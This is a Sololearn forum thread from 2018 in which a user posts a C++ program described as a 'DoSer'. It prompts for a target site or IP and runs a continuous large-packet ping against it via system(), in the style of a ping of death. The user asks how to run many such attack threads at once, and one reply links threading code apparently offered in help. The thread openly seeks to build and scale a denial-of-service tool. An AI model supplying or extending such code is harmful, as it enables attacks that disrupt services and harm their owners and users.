(C++) Howw to run multiple threads at once (C++) | Sololearn: Learn to code for FREE!
New course! Every coder should learn Generative AI!
Try a free lesson
+ 1

(C++) Howw to run multiple threads at once (C++)

Im making a DoSer using C++ system commands withe the ping of death methood and need to run multiple threads of pinging at once please tell me how. current code: #include <iostream> #include <sstream> using namespace std; void atk() { string targ; system("color a"); system("title C++ DoSer "); cout << " What Site/IP Is Your Target?" << endl; cin >> targ; ostringstream pingData; pingData << "ping " << targ << " -t -l 65500"; system(pingData.str().c_str()); return; } int main() { atk() ;return 0; }

23rd Jun 2018, 12:13 PM
VD30
VD30 - avatar
2 Answers
+ 2
You can do somewhat similar to this. https://code.sololearn.com/cldJfaAORdiT/?ref=app //It runs on the offline compiler.
24th Jun 2018, 5:30 AM
Tanay
Tanay - avatar
0
Tanay sorry but im dont understand how to run my code into the threads. please give me a more detailed description.
24th Jun 2018, 5:54 AM
VD30
VD30 - avatar